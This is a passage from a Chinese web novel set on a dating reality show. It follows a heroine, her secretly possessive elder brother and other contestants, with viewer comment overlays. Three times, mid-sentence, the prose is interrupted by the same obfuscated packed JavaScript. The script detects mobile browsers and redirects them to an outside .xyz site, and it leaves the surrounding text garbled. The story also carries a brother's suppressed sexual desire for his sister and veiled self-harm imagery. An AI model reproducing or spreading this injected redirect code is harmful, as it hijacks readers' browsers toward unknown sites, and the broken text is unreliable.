就是不知道江月的信会不会写给自己,还是会写给贺风?他今天表现得很热切。 要是她写给了贺风,值日那天自己就要让她多多地干活!洗菜洗碗都让江月来做! 青阳心里憋着一股气,从千纸鹤里挑一只拆开。 “你的眼睛很漂亮。” 应该不是给他的。 是给眉眼深邃的白起?还是给眼神多情的贺风? 贺风……青阳眼皮微垂,目光专注地描摹信纸上娟秀的字迹,试图从中找到蛛丝马迹证明它的来处是江月还是其他人。 他烦躁地揉揉头,表情臭得像要揍人,放下手里的信纸拿起第二只。 纸张一层层拆开,青阳的心也跟着微颤。 “真是着了魔。”他在心里暗暗自嘲,犹犹豫豫地打开信纸。 “咬你一口。” 是她! 简单俏皮的话写在纸上,青阳仿佛听见江识月娇嗔的声音。 【哇!突然从痞坏乖戾的黄毛变成了阳光治愈的金毛。】 【收到江月的信就这么开心?你还记得自己来节目是为了赚钱吗?】 【这封信送到你手里就说明你和宋慈的关系暴露了!笨蛋!还笑呢!】 【是互选哦!什么风月无边邪.教骨科,我们日月可鉴才是真的!】 【就是!贺风这个没分寸的妹控还是离江月远一点吧,别拦着妹妹和青阳谈恋爱。】 【还偷拿别人东西,要不是青阳在做饭,那只粉色千纸鹤也应该是他的,江月青阳是彼此唯一的选择!】 【说话小心点啊!江月都不在意你先狗叫什么?还彼此唯一的选择,贺风不同意青阳连家门都进不去!】 【别吵别吵,谁来告诉我那个夸眼睛漂亮的千纸鹤是谁写给谁的?我刚出门没看直播。】 【是知然写给贺风的,她猜贺风和宋慈是手足。】 【然后沈云写给平川的是“找个机会练练”,投给了知然。】 【嗯?她约架呢?】 【而且知然不是以为贺风喜欢江月吗?还一副喜闻乐见的样子,背地里居然给他写信?!】 【emmmmm……有点茶,这可以说吗?】 【恋综嘛,为爱争取不丢人。】 弹幕还在讨论,宋慈青阳已经结束这一环节,打算离开金兰小屋。 青阳把江识月送他的信揣进兜里,另一只叠好放进矮柜抽屉,对宋慈说: “现在回屋被撞到我们在一起就不好了,去海边走走吧?” 【你们也要去海边?好耶,江月贺风也在,碰到的话青阳就能猜出贺风才是江月的哥哥了。】 【老实说,不一定。】 【为什么?】 【你去隔壁直播间看看就知道了(扶额苦笑.jpg)】 11. “别过来!” 作为新开发的度假区,商家还未大量入驻,这座岛屿现在略显冷清,只有路灯在沙滩边长长的木栈道旁排着队发光,给海岸照出一条光带。 “哥!快来!” 正是涨潮的时候,海边浪声阵阵仿佛雷鸣。江识月脱掉鞋袜冲进浪花里,大声催促还在沙滩挽裤腿的贺听风。 “你慢一点,小心摔着。” 贺听风快步走到妹妹身边,恰好海浪打过来将她推了一个踉跄,贺听风伸手去扶,可江识月稳住身体后又扭身躲远。 “抓不住我哦~” 幼稚鬼。 贺听风无奈地看她,举步跟上对方的步伐。 “天很黑,小心摔到海里。” “才不会!” 江识月跳着跑开,两人就这样追逐起来,贺听风的关切与江识月的笑声在海湾的风里纠缠回荡。 “呼……不跑了不跑了,哥,你别追了。”她累了,停下脚步等哥哥走过来,两人并肩站在浪花里。 夜晚气温下降,可海水还温热,淹没脚踝时暖暖的。浪花卷着沙粒打到皮肤上,并不疼,反而有种按摩的感觉。 “我们好像很久没有一起出门玩儿了。”江识月挽着哥哥的手臂,小声感慨。 “上次一起出门旅游好像还是我高三毕业的时候。” 她毕业后没什么事儿干,贺听风也因为保研成功短暂地空闲下来,两个人一起毕业旅行,天南海北玩了快两个月。 后来江识月上学之余开始在江氏轮岗,贺听风则需要兼顾学业与创业的事,同样十分忙碌,每年只有在过年放假那几天才会和父母外出短暂度假, “那回去后我们找个时间,想去哪里我都陪你去。”贺听风对她说。 “还找个时间呢!你可是大忙人,这次来这里都是我撒泼打滚求你来的。” 江识月开始翻旧账,挽紧哥哥的手臂抬起脚去踩他。 贺听风也不躲,任由她赤裸的脚心在自己脚背上磨,皮肤间夹着的沙粒被按着擦蹭,带来细微的痛感。 “啧。” 见哥哥无动于衷,只是包容地看着自己,江识月没了压迫他的兴趣,转而用脚铲走贺听风脚边的沙子,挖一个小坑让他陷下去,然后被海浪卷来的沙粒掩埋。 “好玩?”贺听风笑着问。 江识月挑眉看他,娇俏点头,把脚放到沙堆上压住。 贺听风抬起脚,把妹妹施加的力道顶起来,沙子扑簌簌往下掉。 居然反抗? 江识月咬一下后槽牙,干脆整个人都趴到贺听风身上,身体往下用力,把他的脚按下去。 动作太过用力,溅起极高的浪花,弄湿贺听风挽起的裤腿。 他也不生气,闷声笑起来,觉得和自己较劲的江识月分外可爱。 “会有空的,你想和我去哪里都可以,我总能挤出时间来。”贺听风揽着她的腰,让人有个可以依靠的支点,以免不小心失去平衡摔倒。 “就怕到时候你有了别的人选。”他低声说。 声音湮灭在海里,江识月没听见。 夜色昏暗,他垂眸看面前依偎着自己的女孩,感受着在慢慢攀升的海水,忽然觉得浪花就这样把他们淹没也很不错。 他会牢牢抱紧江识月,就是沉进海底,他们也要紧紧相拥,没有人可以把她从自己身边扯开。 “哥,”江识月抬手关掉自己和贺听风的领麦,眼睛盯着对方认真地说:“如果我死了,哥,你会怎么办?” 海风把挂在耳垂的细小链条吹动,搔得皮肤发痒。江识月伸手捏住0901,一时兴起向哥哥发问。 死亡代表什么呢? 代表江识月再不能去见更多没见过的风景,再不能去认识更多人,学习更多知识,了解更多的故事。 可这只是让她觉得可惜而已。 除此之外,真正让她恐惧的是家人悲伤的眼神。 或许时间慢慢流逝,爸爸妈妈互相支撑搀扶着,他们还能带着对自己的思念一起走完剩下的岁月。 可是哥哥,哥哥怎么办啊? 他只有自己了。 一瞬间贺听风以为他将自己心里的话说出了口,否则江识月为什么会问他这样的问题? “胡说八道什么?是最近工作有什么麻烦吗?还是遇到了什么困难?身体哪里不舒服?” 他猜想是不是有什么事影响了妹妹的情绪。 “随口问问呗,夜晚总是让人胡思乱想,不是吗?” 江识月用脑袋锤一下他肩膀,说自己只是到了晚上,开始变得忧郁。 “不许想。”贺听风握住她的手,十指相扣。 “好不讲道理,我想想都不行?” 他的力道有些重,江识月感觉手指都被挤压得泛起疼痛,这样的疼痛让人觉得安心。 她也握紧哥哥的手,追问:“我不管,快回答我。” 贺听风转过身将江识月搂进怀里,手臂箍紧她腰肢让两人挨近,身影交叠仿佛合二为一。 “我会陪你一起。”他声音喑哑,几乎被海风与浪声掩盖。 可江识月听见了。 她伸手攀住哥哥的脊背,也用力向对方依靠,两个人的心脏贴在对方的胸口。 怦怦、怦怦、怦怦…… 像两株藤蔓纠缠在一起,他们扭曲环绕着成为对方的支点,要汲取彼此的能量才能活下去,连脉搏的跳动也同频。 “不许。”这次轮到江识月来说这句话。 “好不讲道理。” “我就是不讲道理。”她抬起头,下巴抵在贺听风颈窝,给人提要求。 “你要留下来,帮我看更多风景,还要照顾爸爸妈妈。然后你要一直想着我,一直活下去。” “说不定未来某一天有人发明出了时光机,你还可以回来找我,拯救我?” 哥哥肯定不会像0901一样,救活自己后还提一堆要求,又是一百心动值,又是限时一个月的。 她说着说着,话题就变得离谱起来,贺听风稍微放下心,眉眼浮起淡淡笑意,脸颊轻蹭江识月耳侧,问:“没有商量的余地?” “没有商量的余地。”她言辞坚定。 “好吧,那我就一直活到时光机被发明出来的那天。”他伸手握住妹妹的后颈,揉捏两下,像安抚无理取闹的小孩。 江识月得到满意的答案,长舒一口气在贺听风怀里放松下来,安心地闭上眼睛。 眼角溢出一滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585442|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪珠,又被海风吹干。 还好,她没有死。 海水一点一点上涨,很快就淹没两人的小腿。 “走吧,我们上去。” 【他们俩终于上来了!】 【一开始还打打闹闹甜得我姨母笑,突然就抱着不动了。】 【这样抱着在海里站着不说话,画面是挺唯美的,但真的很像要殉情的小情侣啊!!】 【哭了,不被世俗接受的关系将人逼到绝境,绝望地兄妹相拥着被浪花裹挟,只有大海能包容这份禁忌的爱。】 【小嘴巴!不说话!】 【我是来嗑糖的,不是来吃刀子的QAQ】 【那我等下扩写一万字的出租屋文学放到超话里,你嗑不嗑?】 【……磕!我受得住!老师您别累着但也别闲着!(递键盘)】 【这么快就有超话了?让我去吃点饭尝尝咸淡。】 【有的画手太太都开始更新小短漫了,做饭超级快!】 【好好好,这cp我是嗑对了!进对圈子跟对人,以后吃饭得用盆!】 谈论之间,江识月和贺听风已经走到岸上。 “坐好。” 木栈道旁修建有凉亭供人休息,贺听风让江识月在长椅坐好,蹲下身为她拂去腿上的沙粒。 “这边好像没有冲洗池,先把鞋子穿上,等下回小屋再清洗吧?” 脚在海水里泡过又被风吹干,盐分黏在腿上会让人觉得发涩,也会损伤皮肤,并不舒服。 “嗯。”江识月任由安排。 贺听风宽大的手掌向下移,指间不小心划过她脚心。 “好痒啊!哥哥。”她忍不住想收回脚,却被握住脚踝动弹不得。 “别动,穿鞋。”贺听风给人套上鞋袜,又抓住另一只腿。 “那现在回小屋吗?还是你想再走走。” “再走走吧,或者在这里坐一会儿也行。”也不知道其他兄妹做完任务没。 江识月眼睛看着恋爱小屋的方向,猜测现在轮到第几组嘉宾去金兰小屋碰面。 她在心里计算时间,脚却百无聊赖地轻踢贺听风小腿。 橙白拼色的板鞋挑起西装裤后在他皮肤上蹭过,鞋底沾上的海沙掉落几颗,划过小腿时让人觉得心里发痒。 贺听风手里的动作微顿,指尖捏着的鞋带滑落下垂。 他眉头皱紧,重新捞起那两根伶仃的布料,食指勾起挽出漂亮的蝴蝶结。 鞋子穿好,贺听风并不急着起身,依旧蹲在江识月面前,慢慢抬眸看自己正在捣乱的妹妹,目光里是不加掩饰的侵略。 江识月恰好低头,二人目光相接。 “心动值+5,当前心动值总计为16。” 像被什么吓到,江识月瞳孔微颤,脸上露出惊慌。 她猛地站起身来,大步退开远离贺听风。 贺听风僵在原地,脊背瞬间绷紧,近乎机械地站直身体,压下欲望重新扬起笑容。 “怎么了?” 他语气如常,不动声色地抬起脚步想拉近和妹妹距离,像不慎暴露踪迹却还佯装无事发生的捕猎者。 可江识月又后退一步,说: “别过来!” 12. 假装 “江月!你也在这里?” 不远处,青阳和宋慈相携而来,见到江识月的身影,青阳快步往前走几步。 江识月朝他挥手,也迎上去。 站定后眼神在他和宋慈之间绕一圈,揶揄地说:“好巧啊!你也来海边呀?还是和宋慈一起来,路上碰到了?” 都猜到了还在这里装! 读出她的目光里的得意,青阳没好气地问:“你觉得呢?” 江识月:“我觉得……自然有我觉得的事儿~” “可把你厉害坏了。”青阳并起手指敲她额头,又问:“贺风怎么在这里,他跟着你过来的?” 脑袋里完全没有两人可能是兄妹的想法,甚至怀疑贺听风在对她死缠烂打。 太好了!哥哥的强制约会权保住了! 还好她机智,刚才看到他们走过来就立刻拉开距离。 江识月嘴角的笑意忍都忍不住,咳嗽两声强行憋下才回答:“我一来他就在这里了,他刚才还在海里踩水玩儿呢!” 这么大的人了,踩水? 青阳看一眼缓步走过来的贺听风,不屑地撇嘴:“幼稚。” 江识月:“……” 【唉,傻孩子。】 【都这样了还没意识到人家是两兄妹呢!】 【他还说贺风踩水幼稚,可是最开始是江月拉着哥哥下去玩的……误伤心上人了(苦笑.jpg)】 【就算没误伤江月,当着妹妹的面吐槽人家哥哥……我开始期待手足关系揭露的那天了!】 【嘻嘻,到时候青阳的脸色一定很精彩!】 贺听风来到妹妹身侧朝对面两人微笑点头,然后问江识月:“想在亭子里坐着吹吹风吗?” 傻坐着吹风有什么意思? “不如和我去散步吧?”青阳也发来邀请。 啊…… “那就散步!”她雀跃地回答。 刚才青阳一出来就给自己贡献了五个心动值,江识月想和他多多相处,再薅一点。 至于哥哥?江识月转头看一眼贺听风,希望他读懂自己眼里的暗示: 你先回去!别打扰我! 贺听风懂了,但并不想离开。 “好吧,那我们一起走走。” 他看一眼妹妹,又对上青阳警告的眼神,伸手随便指一个方向说:“走这边?” 他们之间已经失去默契了! 江识月在心里哀叹,但还没来得及说什么,青阳就拉着她手腕往另一边走,扔下让他讨厌的贺听风……和姐姐宋慈。 看着弟弟闷头往前冲的样子,宋慈无奈摇头,转而问贺听风是否要走自己选定的方向,需要的话她可以陪他一起。 “不用,我们跟上吧。” 他依旧笑着,自然而然地走在靠外的位置,为身旁的女士挡下会吹乱发丝的夜风。 这座岛屿很大,四个人顺着栈道慢慢走很久也不见绕回原点,周围房屋建筑倒是逐渐多起来,他们走到了本地居民聚集的地方。 “有烟花!” 海边开了一家小卖部,老板很有经商头脑。店里除了零食和日用品,也陈列着各种拍照使用的鲜花道具以供租赁,角落还堆放各式各样的烟花。 “我们去放烟花?”江识月捡起一把仙女棒,回头问其他三人的意见。 青阳点头赞同,凑上来和她一起挑选。 “老板,总共多少钱?” 四个人都拿到心仪的产品后,青阳走到柜台问坐在里头一边看着天线宝宝,一边在纸上不知书写什么的老妇人。 老板摘下快滑到鼻头的老花镜,站起来给人算账。 “呢把剌造。” 啊? 青阳掏手机的动作一顿,露出迷茫的眼神。 “是二百六十啦!我来付。”江识月笑着拍拍他肩膀,扫码给老板把钱扫过去。 “不是,你怎么听懂的?你是本地人?” 青阳在脑袋里回放两遍老板说出的话,愣是没找到那发音和“二百六十”这四个字有什么相通之处。 江识月摇头否认:“不是啊,我是a市的,只是刚好能听懂这里的话而已。” 至于原因?当然是因为身边有贺听风这个本地人,闲着没事的时候缠着他学过几句。 只是学了许久还是只能听懂,一直说不明白。 “走了,放烟花!”她抱着怀里的东西就要往外走,然后听到哥哥在后面拿了几个打火机,问老板怎么卖。 说的方言。 她很久没听贺听风说方言。 不像平时温润的音调,这时他的声音会更加内敛低沉。 低沉但不喑哑,有一种沉稳的岁月感,像z市大街小巷都种有的榕树,扎根深重。 “看来贺风才是本地人?”宋慈站在青阳身边说。 “算是吧。”贺听风走过来,点头应道。又挑眉看向江识月,手指轻点两下她手里的仙女棒,问: “没有火,怎么放烟花?” “谁说没有,这不就是?”青阳看不惯他自来熟的样子,从兜里拿出自己的打火机点一簇小火苗。 “我会帮她点燃烟花的。” 见状,贺听风反而笑意更深。 “看来你会吸烟。”不然怎么会随身带着打火机。 而江识月不喜欢烟味,绝对不会和吸烟的人交往。 “走吧,江月。” 闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585443|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,江识月下意识跟上哥哥的脚步,留青阳宋慈在后面。 “他笑什么?”青阳疑惑地看向姐姐。 这家伙简直莫名其妙! 宋慈为自己的傻弟弟叹一口气,说:“吸烟在女孩子眼里可是减分项。” 人家在给你上眼药呢。 太阴险了! 得到宋慈的提示,青阳愤愤地瞪贺听风的背影。 “走!” 他抱着手里的烟花去追江识月。 江识月和哥哥找一块空地把烟花放下,先拿出仙女棒来,举到贺听风面前等他给自己点燃。 贺听风伸手拢出避风区,低垂眉眼为妹妹服务。 灰色的烟花药剂被飘摇的火焰灼烧成橙红色,温度达到最高点时,他手心就绽放出绚烂星光。 “好了。” 贺听风收回手,抬眼看江识月。星光映进他双眸,里头仿佛装了整个银河。 江识月愣怔地看着哥哥,忽而觉得浪也停了,风也静了。 “江月!”青阳爽朗的声音将她从宇宙般的空茫中扯出。 他大步走过来,身后明亮的灯光照在砂金色的头发上,发丝溢出耀眼光芒。 “你是不是不喜欢烟味?” 江识月下意识点头,“是啊。” 青阳把手里的打火机抛起,黑色的小匣子在空中划出抛物线,又落入他掌心。 “那我以后不用它点烟,只用来给你点烟花。” 贺听风的表情骤然阴沉下来。 【嘿嘿……好甜。】 【宋慈在后面看着弟弟,笑得好开心哦!】 【但贺风这个妹控就不是很开心了。】 【担心妹妹被黄毛骗走嘛,能理解。】 【不要啊,哥哥才是最了解江月的!他才是最适合江月的!】 【骨科滚啊!】 【你们自己圈地自萌好吗?这样招摇真的很恶心。】 【就不!风月无边就是天下第一配!绝配!】 【变.态!配你的钥匙去吧!】 嗯? 听到青阳的话,江识月看一眼烟花又看一眼对方,差点没反应过来。 老实说,青阳吸烟与否她其实不是很在意。 他是一个成年人,这是他的自由。只要不影响到江识月,她对别人的行为没那么大的掌控欲。 但青阳说这样的话,是因为他们目前是出于相互了解,准备向情侣关系迈进的阶段对吧? 江识月思索着,让自己的眼睛流露出欣喜,满怀期待地说:“好啊!” 意料之中,她听到0901的提示音响起: “心动值+1,当前心动值总计为17。” 13. 一起睡? 真是抱歉。 江识月在心里暗暗表示歉意。 她无意于戏耍青阳的感情,但实在不想因为收集不到足够心动值而丧命。 再收集一些吧,她会再寻找其他目标,看看能不能换一个薅羊毛对象。 或者,她也尝试偶尔放下系统任务这件事,以真心与之交往。 真心换真心,才不算辜负情意。 “走,我们去放这个!”自己的保证得到肯定,青阳眉开眼笑,拉着江识月就要去给人放新的烟花。 圆筒在沙堆里插稳,点燃引线,几息之后就迸出火树银花。 一颗颗圆形光点飞起又落下,甚至在地上弹跳几次,像珍珠滚落满地。 “哇!好看!”江识月捧场地鼓掌,青阳就扬起下巴露出得意表情。 贺听风站在原地看他们,手里还捏着妹妹匆忙间塞到自己手里的仙女棒。 烟花药剂已经燃尽,只剩焦黑的残骸。 宋慈看一眼这个落寞的男人,一时无言。 他们就这么站着看那两个活泼的家伙玩得尽兴,笑声回荡,把住在附近的小孩都吸引过来,一群人围着烟花追逐打闹。 他们欢笑,鼓掌,手里的烟花放完后又来拿新的,直到最后一支也燃尽。 四个人打着手机电筒把现场收拾干净,不留下一张纸片、一根铁签,才走上返回恋爱小屋的归程。 来时就顺着栈道走了挺长一段时间,现在体力消耗大半,这段路程更显漫长。 他们踏进恋爱小屋时已经快要十二点。 小屋仍旧灯火通明,其他四个人正坐在客厅聊天。 “回来了?”知然笑着朝江识月伸手。 江识月换好拖鞋径直走到她身边,拉住知然的手靠着人坐下,再捞一个抱枕放进怀里,懒洋洋陷进海绵垫。 累死她了…… “你们在聊什么?”江识月问。 知然:“在说采访的事,刚才金兰小屋不是做了采访,问我们来节目是为了什么嘛?” 是有这个环节,江识月的答案依旧是:“恋爱啊,上恋综当然是为了恋爱!” 就算各有各的目的,但也不至于每个人都对这件事没一点兴趣吧? 那未免对她太过残忍。 知然:“不啊,我是来度假修养的。” 她晃一下自己受伤的胳膊,语气很随意。 平川:“我是觉得认识几天就要确定关系,还是太快了。” 说着,还用规劝的眼神看向江识月,似乎希望她能对感情的事深重考虑,别冲动地付出真心。 白起倒是觉得时间不是问题,但他有其他想做的事,暂时不能告诉大家。 至于恋爱? “顺其自然。” 哇。 江识月在心里发出冷漠的感慨。 她不会真的只能揪着青阳一个人薅心动值吧? “导演,你不管管吗?他们演都不演的!”江识月看向工作人员的方向,发起控诉。 【笑死,这三个来节目各有目的,贺风和沈云宋慈一样,都是为了陪自己的手足(虽然他被江月逼着改口说想恋爱)】 【干脆做成亲情直播算了。】 【也不能这么说,在金兰小屋的时候青阳就改主意了,他可以和江月谈!】 【“来赚钱,但其他的……也可以尝试。”啧啧,下午说的话,晚上就打脸了。】 【那!剩下这几个也会打脸的吧?节目组总不能一点动作都没有!】 【什么吊桥效应日久生情,都给我端上来!】 时间已经不早,贺听风借口洗漱先回房间,江识月和青阳宋慈在客厅坐着休息片刻也说了告辞,一起上楼。 “拜拜!早点休息。”江识月一边推开自己的房门,一边回头和两人道晚安。 锁上门走进房间,摘下戴了一天的饰品,她取出毛巾和睡衣打算卸妆洗漱。 来到浴室看着空荡荡的洗手台,才恍然意识到现在不是在家里,日常用品都不在身边。 “叮咚!”恰好手机里有人发来新消息。 “别锁门。”是贺听风。 江识月给他回复个“好”,去把门的反锁打开,坐在沙发上等哥哥的到来。 “咔哒。” 没一会儿,贺听风拧开房门走进屋。 他已经换了一身家居服,依旧是遮得严严实实的长袖。比起西服套装的优雅利落,柔软的棉质套头衫让他变得更加随和可亲。 走到江识月面前放下手里粉色的收纳包,贺听风问妹妹:“你的东西,我帮你放好?” 包里装的是江识月的日常用品。 瓶瓶罐罐太重,也太占位置。为了腾出更多空间来放衣服鞋子,在家收拾行李的时候她就把它们装进了哥哥的行李箱,让他帮自己带过来。 “谢谢哥。” 放在包里的东西被贺听风一件一件取出放在桌上或是拿进浴室,江识月也跟着哥哥走进走出,像小尾巴。 “快洗漱吧。早点休息,我回去了。”东西都按照妹妹的习惯摆到相应的位置,贺听风揉揉江识月的脑袋准备离开。 “我们在这里坐一会儿吧?” 门打开一条缝,外头交谈的声音传进来。 二楼除四个卧室外,中间有一块公共区域,摆放着桌椅装饰,算是活动区。 知然和平川不知何时上楼来,不急于回自己的房间,又要坐下开始新一轮的聊天。 现在出去一定会被发现他们两人是兄妹。 贺听风小心关上门,回头看妹妹,无奈地说到:“看来得等一会儿了。” 没办法咯~ 江识月只好金屋藏“娇”,让哥哥坐下休息等待,自己则抱起换洗衣物走进浴室。 不一会儿,淅淅沥沥的水声从里头传来。 这似曾相识的场景,只是如今两个人所处的位置做了调转。 贺听风自然不会去门口喋喋不休地唤人,江识月也不会在连绵的水流中对外面的人想入非非。 真是糟糕。 贺听风坐在沙发里,手指在扶手上一下一下地点,安静,又躁动。 他站起身来环顾一圈,找出电蚊香给人插上,然后在屋里来回踱步,最后选择推开阳台的门去外头透气。 阳台的围栏上挂了一圈花盆,里头种的月季开得正艳,橙色的花朵散发着甜甜的果汁香。 站在这边可以毫无遮拦地看到贺听风阳台的光景。 他们的房间相邻着,所以阳台也相望,中间间隔一米左右的空档。 大约是为了让每个房间都显出差别,他那边的阳台里绿植与这边并不相同。 不是橙色的、热烈的花,而是放了盆蓝雪花,被支架撑起开成一颗树,洋洋洒洒仿佛喷泉。 似乎是因为经历了一整天的炎热,它有些缺水,蓝色的花朵耷拉着。 等下回去就接水浇一下。 贺听风在心里想着,手指百无聊赖地拨弄面前一朵月季。 月季层层叠叠的花瓣包裹花心,他细致地抚过每片花瓣,像是要剥开娇嫩的掩护,触碰藏在里头的花蕊。 “哥,你在外面做什么?”江识月洗漱完毕,湿着头发从浴室走出来。 她习惯用较高的水温,脸被蒸得红扑扑的,双睫湿漉漉含着水汽。 “帮我擦头发呗?”说着就把手里的毛巾递给走进来的贺听风。 她头发长且厚,洗完要吹很久才能干,手都举酸了。 恰好哥哥在,干脆让他来帮忙。 “好。” 在家时她也经常湿着头发跑去找他,贺听风对这项工作已经足够熟练。 江识月让哥哥坐到沙发上,自己则盘腿坐在他脚边,对着面前矮几上的镜子打开瓶瓶罐罐开始护肤。 贺听风撩起一绺头发,用毛巾包住按压,吸去上面的水珠。 放下,下一绺。 房间里开了空调,温度超过设定的范畴就送出悠悠的风,江识月身上玫瑰与荔枝的甜香被这股凉风吹到每个角落。 她最近又开始喜欢上荔枝的味道,洗护用品全都换了一套。 贺听风感觉自己也被这甜香笼罩了,陷进江识月的世界里,很幸福。 发丝不再滴水后放下手里的毛巾,他起身去拿吹风机,插上电给人吹头发。 这时候江识月也已经完成每天的护肤流程,脑袋一歪,脸靠到哥哥的腿上,手环过他小腿再绕到面前,捏着手机玩俄罗斯方块。 闹腾一天的人终于安静下来。 “累了?”贺听风问。 在外面跑了好几个小时,哪里会有不累的?江识月蹭着哥哥的腿点头。 隔着布料,她脸颊的柔软与温热落到皮肤上。 贺听风为妹妹梳理头发的动作有些失控,梳齿划过她莹白如玉的耳朵。 江识月皱眉,嘟嘟囔囔地抱怨:“哥,你弄疼我了。” “对不起啊,妹妹。”这句话在他嘴里说过无数次。 打理好江识月的长发,贺听风放下吹风机和梳子,伸手揉捏她耳朵,似乎想以此抹去上面曾出现过的疼痛。 慢慢的,修长匀称的手指往下划,细致勾勒江识月精致的下颌,再落到白皙的脸颊上轻点两下,戳出小酒窝。 “我已经不是小孩子了,你又拿我当小朋友在玩?”江识月刚消下五排方块,抽出空来拽哥哥的手,反而被握住手指揉捏。 小时候的江识月是个柔软的糯米团子,家里人都爱掐她脸颊的软肉。 贺听风在书房学习的时候,这个可爱的糯米团子就会抱着绘本端着小板凳坐到哥哥旁边陪他,偶尔举起绘本指着里头不认识的字问要怎么读。 这时,贺听风就会停下手里书写的动作低头看一眼,再告诉她答案。然后伸手摸摸她细嫩的脸颊,就当做是报酬。 或者说,比起报酬,这更像是一种充电。 吸一下自己可爱的妹妹,写作业都变得更轻松。 但现在…… 是啊,她确实已经不是小孩了。 贺听风垂眸看一眼面前已经成长得亭亭玉立的女孩,对她的话表示赞同。 他当然知道她已经长大。 在江识月十八岁的成年礼上,在那个炎热的夏天,在漫长的毕业旅途中,在无数个绮丽的梦里…… 他完完全全地,一次又一次地意识到:自己的妹妹是个大人了。 用深夜醒来悸动的身体和狠辣的巴掌,用昏暗房间里喷溅的浊液和猩红的鲜血,用扯不断的思绪和狰狞爬行的伤疤……他如此深刻地记录下她的成长。 “哥哥,你好像在发抖。”江识月疑惑地看向贺听风。 他脸色变得很难看,牵着自己的手也在颤抖。 “哪里不舒服吗?” 江识月说着,站起身想要仔细查看贺听风的状况,可刚才在地毯上盘腿坐了太久,血液流通不畅,脚像是老电视机在播放雪花。 她一头栽进贺听风怀里。 “没事,可能是空调对着我吹,有点冷。” 贺听风接住妹妹,收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585444|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷杂的思绪随口找个理由。 他揽住跌坐在自己身上的人,伸手去握她小腿。 “腿麻了?我给你按一下。” “嘶……” 有力的手掌从下至上一点点按揉肌肉,江识月被弄得直吸气,皱着眉毛可怜巴巴,却还要去看哥哥的状态是否有好转。 好在他似乎真的只是被风吹得打了个冷颤,现在已经恢复如常。 江识月放下心,搂着贺听风的肩膀贴在他身上。 她省力,哥哥也暖和。 只是难以言喻的酸痛在腿上蔓延,这下轮到她不受控制地颤抖,眼眶微红。 “轻一点,哥。” 贺听风轻抚她脊背,哄她:“忍一忍,等下就好了。” 在妹妹看不到的地方,眼里酝酿出风暴。 在这个满是江识月气息的房间里,贺听风揽着已经长大成人的女孩,手掌一寸寸按压她细腻的肌肤,红晕便随着他的动作在白皙的腿肉上一片一片生出,又散去。 她趴在自己肩上,呼吸温热打在颈窝。 这样的姿态……贺听风喉结滚动,咽下翻腾的欲.望。 “知然他们应该聊完了吧?”他试图挑起话题转移注意力。 江识月手指抓着哥哥肩头的布料,以此借力忍下不适,回答他: “不知道,要是聊得太晚,你就在我这里睡呗。” 柜子里好像还有一床被子,可以给贺听风打地铺,或者一起睡床也行,反正床很大。 她总是一脸无辜地散发诱.惑。 贺听风长叹一口气,低声数落:“又说胡话,你刚才还说自己已经不是小孩儿了。” “那你是哥哥呀!”江识月不服,反驳他:“而且到处是摄像头,你还怕我对你图谋不轨?” 【你哥是怕自己按耐不住吧?】 【贺风握住江月小腿的样子好涩!这可以说吗?】 【他骨架蛮大的哎!江月在他怀里就像只小猫咪!】 【面对镜头都这么亲密,他们平时在家得有多腻歪呀!】 【呜呜,豹豹猫猫我出生了!】 【啊不行!这可不能出生啊!你会变傻子的!】 【……那豹豹猫猫我走了。】 【小猫在自己怀里坐着,还邀请他一起睡觉,他居然拒绝了?!】 【真的不能一起睡吗?就当是为了我。】 【贺风:你谁?】 【但这种克制才更好品呀!面对情窍不通的单纯妹妹,哥哥一次又一次抵抗住欲.望,不愿在她懵懂时乘虚而入,好嗑!】 【江月对哥哥真的一点防备心也没有,说抱就抱,整个人都贴在贺风身上了,说明哥平时真的把自己的小心思藏得很好。】 【有没有可能她也在试探呢?这是一场你来我往的博弈,看谁先迈出第一步,泄露爱情。】 【额……不能是两兄妹感情好吗?】 【不能!】 【现在是晚上!不是磕兄妹情的时间,姐妹你快去睡觉,明天再来。】 ……笨蛋。 贺听风又掐一下她的脸,问有没有缓过来。 江识月从哥哥怀里站起来走几步,重新获得了双腿的控制权。 “好了。” “那去帮我看看外面他们走了没。” 江识月听话地走过去打开房门,把头探出外面四处观察。 环境确认安全! “都走了,外面没人。” “那我回去了,晚安。”贺听风往外走,还没踏出房门又回头。 “怎么了?”江识月疑惑地问。 贺听风将左手伸到妹妹面前,掌心向下,说:“你似乎有一样东西没给我。” 什么东西? 江识月愣一下,又恍然大悟,小跑进浴室。 洗漱台上的吊柜里放着一盒五颜六色的发圈,她眉毛一挑,坏笑着从里面拿出一根粉色的,然后回到哥哥面前。 “呐!给你。” 